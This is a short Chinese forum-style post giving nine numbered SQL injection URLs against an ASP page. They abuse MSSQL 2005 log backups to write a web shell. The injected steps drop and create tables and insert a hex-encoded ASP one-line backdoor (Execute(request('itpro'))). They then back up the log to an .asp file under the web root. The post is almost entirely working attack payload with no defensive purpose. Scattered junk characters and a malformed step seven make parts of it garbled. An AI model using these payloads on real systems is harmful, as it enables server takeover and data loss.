Mssql2005 Log备份Webshell

admin

第一步
http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

第二步：
' g* M/ p& z  I3 I5 ~http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
* L1 e6 A8 U0 J3 x4 n) M6 s, B
第三步
. R: i7 f3 l. ?& {2 fhttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
' I. ^, x; d& s2 ~& _
8 ?6 G3 g, Z: s' K第四步
. J9 f* p0 @; a4 p, r0 |http://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--

第五步
$ ~; v' M% y7 @6 Chttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
. i. ?& z9 E+ B2 C+ n0 F
第六步
http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--

2 o0 U# @3 S) I9 L( l3 W4 M第七步
2 f, K, g6 E4 i. Mhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
) e2 w( @3 i0 ^5 h7 ~8 f6 b
第八步
+ u# L% K' B4 Qhttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
, n  F  E. X3 ^6 x% P
  k9 ^( g& w3 s* @( z4 W* M: n第九步
4 p* N! U3 a1 ^4 \: _http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--